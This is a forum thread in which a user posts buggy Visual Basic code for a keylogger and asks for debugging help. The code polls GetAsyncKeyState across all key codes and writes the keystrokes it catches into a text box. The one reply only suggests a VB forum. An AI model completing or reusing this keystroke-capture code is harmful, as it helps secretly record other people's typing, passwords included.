Keylogger in V.B

Hello, I created a keylogger in vb and I have a bug that does not show any letters, cyft, Shift'ów, enter'ów like. Here is the code to write:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Dim key As Integer
        For i = 1 To 255
            key = 0
            key = GetAsyncKeyState(i)
            If key = 32767 Then
                Select Case (i)
                    'Case 1
                    'RichTextBox1.Text += "[LeftClick]"
                    ' Case 2
                    '  RichTextBox1.Text += "[RightClick]"
                    Case 32
                        RichTextBox1.Text += " "
                    Case 8
                        RichTextBox1.Text = RichTextBox1.Text.Substring(0, RichTextBox1.Text.Length - 1)
                        ''Case 9 
                        ''RichTextBox1.Text += "[Tab]"

                        'Case 11
                        'RichTextBox1.Text += "[Vertical Tab]"

                    Case 13
                        RichTextBox1.Text += vbNewLine
                    Case 112
                        RichTextBox1.Text += "[F1]"
                    Case 113
                        RichTextBox1.Text += "[F2]"
                    Case 114
                        RichTextBox1.Text += "[F3]"
                    Case 115
                        RichTextBox1.Text += "[F4]"
                    Case 116
                        RichTextBox1.Text += "[F5]"
                    Case 117
                        RichTextBox1.Text += "[F6]"
                    Case 118
                        RichTextBox1.Text += "[F7]"
                    Case 119
                        RichTextBox1.Text += "[F8]"
                    Case 120
                        RichTextBox1.Text += "[F9]"
                    Case 121
                        RichTextBox1.Text += "[F10]"
                    Case 122
                        RichTextBox1.Text += "[F11]"
                    Case 123
                        RichTextBox1.Text += "[F12]"

                        'Case 160
                        'RichTextBox1.Text += "[Left Shift]"
                        'Case 161
                        'RichTextBox1.Text += "[Right Shift]"

                        'Case 164
                        'RichTextBox1.Text += "[Alt]"
                        ' Case 165
                        ' RichTextBox1.Text += "[Alt Gr]"

                        'Case 14
                        'RichTextBox1.Text += "[Shift Out]"
                        'Case 15
                        'RichTextBox1.Text += "[Shift In]"
                        'Case 16
                        'RichTextBox1.Text += "[Shift]"
                        'Case 17
                        'RichTextBox1.Text += "[Device Contol1]"
                        'Case 18
                        'RichTextBoc1.Text += "[Alt Device Control2]"
                        'Case 19
                        'RichTextBox1.Text += "[Device Control3]"
                        'Case 20
                        'RichTextBox1.Text += "[Caps lock]"
                        'Case 21
                        'RichTextBox1.Text += "[Negative Aknowledgement]"
                        'Case 22
                        ' RichTextBox1.Text += "[Synchronous Idle]"
                        'Case 23
                        ' RichTextBox1.Text  += "[End of Transmitblock]"
                        'Case 24
                        'RichTextBox1.Text += "[Canel]"
                        ''Case 25
                        'RichTextBlock1.Text += "[Substitute]"
                    Case 27
                        RichTextBox1.Text += "[Esc]"

                    Case 127
                        RichTextBox1.Text += "[Delete]"

                        'Case 161
                        'RichTextBox1.Text += "[Right Shift]"
                End Select 


Sorry for my english :D

PART 1 - Limited 9000 :/
PART 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
If My.Computer.Keyboard.AltKeyDown Then
                    Select Case (i)
                        Case 48
                            RichTextBox1.Text += ")"
                        Case 49
                            RichTextBox1.Text += "|"
                        Case 50
                            RichTextBox1.Text += "&"
                        Case 51
                            RichTextBox1.Text += "#"
                        Case 54
                            RichTextBox1.Text += "^"
                        Case 57
                            RichTextBox1.Text += "{"
                    End Select
                ElseIf My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
                    Select Case i
                        Case 48
                            RichTextBox1.Text += "@"
                        Case 49
                            RichTextBox1.Text += "1"
                        Case 50
                            RichTextBox1.Text += "2"
                        Case 51
                            RichTextBox1.Text += "3"
                        Case 52
                            RichTextBox1.Text += "4"
                        Case 53
                            RichTextBox1.Text += "5"
                        Case 54
                            RichTextBox1.Text += "6"
                        Case 55
                            RichTextBox1.Text += "7"
                        Case 56
                            RichTextBox1.Text += "8"
                        Case 57
                            RichTextBox1.Text += "9"


                        Case 65
                            RichTextBox1.Text += "A"
                        Case 66
                            RichTextBox1.Text += "B"
                        Case 67
                            RichTextBox1.Text += "C"
                        Case 68
                            RichTextBox1.Text += "D"
                        Case 69
                            RichTextBox1.Text += "E"
                        Case 70
                            RichTextBox1.Text += "F"
                        Case 71
                            RichTextBox1.Text += "G"
                        Case 72
                            RichTextBox1.Text += "H"
                        Case 73
                            RichTextBox1.Text += "I"
                        Case 74
                            RichTextBox1.Text += "J"
                        Case 75
                            RichTextBox1.Text += "K"
                        Case 76
                            RichTextBox1.Text += "Ł"
                        Case 77
                            RichTextBox1.Text += "M"
                        Case 78
                            RichTextBox1.Text += "N"
                        Case 79
                            RichTextBox1.Text += "O"
                        Case 80
                            RichTextBox1.Text += "P"
                        Case 81
                            RichTextBox1.Text += "Q"
                        Case 82
                            RichTextBox1.Text += "R"
                        Case 83
                            RichTextBox1.Text += "S"
                        Case 84
                            RichTextBox1.Text += "T"
                        Case 85
                            RichTextBox1.Text += "U"
                        Case 86
                            RichTextBox1.Text += "V"
                        Case 87
                            RichTextBox1.Text += "W"
                        Case 88
                            RichTextBox1.Text += "X"
                        Case 89
                            RichTextBox1.Text += "Y"
                        Case 90
                            RichTextBox1.Text += "Z"

                    End Select
                Else
                    Select Case (i)
                        Case 65
                            RichTextBox1.Text += "a"
                        Case 66
                            RichTextBox1.Text += "b"
                        Case 67
                            RichTextBox1.Text += "c"
                        Case 68
                            RichTextBox1.Text += "d"
                        Case 69
                            RichTextBox1.Text += "e"
                        Case 70
                            RichTextBox1.Text += "f"
                        Case 71
                            RichTextBox1.Text += "g"
                        Case 72
                            RichTextBox1.Text += "h"
                        Case 73
                            RichTextBox1.Text += "i"
                        Case 74
                            RichTextBox1.Text += "j"
                        Case 75
                            RichTextBox1.Text += "k"
                        Case 76
                            RichTextBox1.Text += "ł"
                        Case 77
                            RichTextBox1.Text += "m"
                        Case 78
                            RichTextBox1.Text += "n"
                        Case 79
                            RichTextBox1.Text += "o"
                        Case 80
                            RichTextBox1.Text += "p"
                        Case 81
                            RichTextBox1.Text += "q"
                        Case 82
                            RichTextBox1.Text += "r"
                        Case 83
                            RichTextBox1.Text += "s"
                        Case 84
                            RichTextBox1.Text += "t"
                        Case 85
                            RichTextBox1.Text += "u"
                        Case 86
                            RichTextBox1.Text += "v"
                        Case 87
                            RichTextBox1.Text += "w"
                        Case 88
                            RichTextBox1.Text += "x"
                        Case 89
                            RichTextBox1.Text += "y"
                        Case 90
                            RichTextBox1.Text += "z"

                        Case 48
                            RichTextBox1.Text += "ą"
                        Case 49
                            RichTextBox1.Text += "&"
                        Case 50
                            RichTextBox1.Text += "$"
                        Case 51
                            RichTextBox1.Text += """"
                        Case 52
                            RichTextBox1.Text += "'"
                        Case 53
                            RichTextBox1.Text += "("
                        Case 54
                            RichTextBox1.Text += "*"
                        Case 55
                            RichTextBox1.Text += "ę"
                        Case 56
                            RichTextBox1.Text += "!"
                        Case 57
                            RichTextBox1.Text += "ć"
                    End Select
                End If

            End If
        Next i
    End Sub
What is it with people posting questions about VB, or java or javascript in a C++ forum? i've seen this happen quite a bit recently.

OP, you might get people here to help you here, but I think you might get more answers if you post on a VB forum.
Last edited on
Since you 75% of the forum does not support such topics :(

ok but if anyone knows what's wrong then please say :)
Topic archived. No new replies allowed.